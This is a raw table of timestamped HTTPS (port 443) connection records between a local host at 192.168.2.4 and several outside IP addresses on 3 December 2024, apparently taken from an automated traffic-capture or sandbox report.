Dec 3, 2024 17:54:08.583205938 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.710516930 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.710571051 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.710614920 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:08.718663931 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:08.718682051 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.860487938 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.860783100 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.860840082 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.895045042 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.895059109 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:09.150526047 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:09.150556087 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:09.151187897 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:09.151431084 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:09.151443958 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:09.856138945 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:09.913626909 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:09.967725992 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:09.967731953 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:09.968826056 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:09.968846083 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:09.968882084 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:09.970082998 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:09.970149040 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:09.970628977 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:09.970642090 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.022978067 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.421847105 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:10.422135115 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:10.422152042 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:10.423046112 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:10.423105001 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:10.423407078 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:10.423461914 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:10.423558950 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:10.423567057 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:10.476123095 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:10.509069920 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.554249048 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.557003975 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.557012081 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.557045937 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.557058096 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.557070971 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.557080984 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.557090998 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.557172060 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.713886976 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.713897943 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.713958025 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.713968992 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.714019060 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:10.714026928 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.714065075 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.714483023 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:10.714493990 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:11.025772095 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:11.025861979 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:11.025996923 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:11.027103901 CET	49780	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:11.027123928 CET	443	49780	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:20.807770967 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:20.807833910 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:20.807935953 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:22.025042057 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:22.025075912 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:41.606084108 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:41.606203079 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:41.606291056 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:41.606786966 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:41.606825113 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:42.686073065 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:42.686105967 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:42.686209917 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:42.686677933 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:42.686697960 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:43.339004040 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.339123011 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:43.344187021 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:43.344222069 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.344485998 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.355209112 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:43.395350933 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.816922903 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.816945076 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.816957951 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.817049980 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:43.817076921 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:43.817111015 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:43.817141056 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.002418995 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.002438068 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.002607107 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.002654076 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.002732038 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.053040981 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.053056002 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.053169966 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.053196907 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.053250074 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.170943975 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.170965910 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.171202898 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.171277046 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.171365976 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.217742920 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.217777014 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.217930079 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.217943907 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.217998028 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.236680984 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.236696005 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.236773014 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.236788988 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.236840010 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.258433104 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.258450031 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.258570910 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.258588076 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.258649111 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.354827881 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.354847908 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.354928017 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.354953051 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.355010986 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.374169111 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.374186039 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.374253035 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.374278069 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.374327898 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.391094923 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.391114950 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.391158104 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.391174078 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.391216993 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.391216993 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.405657053 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.405674934 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.405751944 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.405766964 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.405838013 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.415525913 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.415541887 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.415642023 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.415652037 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.415698051 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.532855988 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:44.532970905 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:44.535331011 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:44.535340071 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:44.535538912 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:44.544476986 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:44.547152042 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.547169924 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.547298908 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.547348022 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.547405958 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.552737951 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.552791119 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.552833080 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.552865982 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.552933931 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.552972078 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.552998066 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.553013086 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.587343931 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:44.606230974 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.606283903 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.606376886 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.607973099 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.608011007 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.608086109 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.608429909 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.608460903 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.609175920 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.609184027 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.610151052 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.610184908 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.610266924 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.610403061 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.610415936 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.611526012 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.611541986 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.611610889 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.612303972 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.612313986 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.612373114 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.612525940 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.612535000 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:44.612653971 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:44.612667084 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:45.264875889 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.264897108 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.264909983 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.264986038 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:45.264997959 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.265044928 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:45.302670956 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.302707911 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.302750111 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.302956104 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:45.303000927 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:45.303010941 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:45.303023100 CET	49782	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:45.303026915 CET	443	49782	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:46.337476015 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.338104010 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.338116884 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.338498116 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.338603020 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.338609934 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.338810921 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.338845968 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.339195967 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.339204073 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.340850115 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.341092110 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.341099977 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.341444969 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.341449976 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.402065992 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.402632952 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.402654886 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.403126955 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.403132915 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.472640038 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.473052979 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.473073006 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.473608971 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.473613024 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.774776936 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.774823904 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.774892092 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.775214911 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.775224924 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.775264025 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.775269032 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.778561115 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.778594017 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.778800011 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.778985023 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.778996944 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.782694101 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.782721043 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.782794952 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.782802105 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.782843113 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.782984018 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.782988071 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.783035994 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.783097029 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.783135891 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.783184052 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.785687923 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.785739899 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.785801888 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.786091089 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.786103964 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.793642044 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.793675900 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.793759108 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.793834925 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.793917894 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.793961048 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.793982029 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.794023991 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.794126034 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.794157028 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.794212103 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.796185017 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.796195984 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.796255112 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.796365023 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.796375036 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.862761021 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.862785101 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.862857103 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.862873077 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.863122940 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.863133907 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.863142014 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.863276958 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.863307953 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.863364935 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.865506887 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.865526915 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.865595102 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.865710974 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.865721941 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.928105116 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.928149939 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.928277969 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.928572893 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.928601980 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.928611994 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.928617954 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.932145119 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.932168961 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:46.932255030 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.932436943 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:46.932450056 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.506603003 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.507178068 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.507196903 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.507824898 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.507833004 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.642529011 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.643233061 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.643249035 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.643883944 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.643889904 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.655029058 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.655365944 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.655380011 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.655883074 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.655886889 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.799447060 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.800088882 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.800108910 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.800585032 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.800589085 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.952810049 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.952856064 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.953051090 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.953361034 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.953377962 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.953403950 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.953411102 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.956955910 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.956990004 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:48.957072973 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.957247972 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:48.957261086 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.097690105 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.097733974 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.097789049 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.098016024 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.098030090 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.098040104 CET	49790	443	192.168.2.4	13.107.246.63
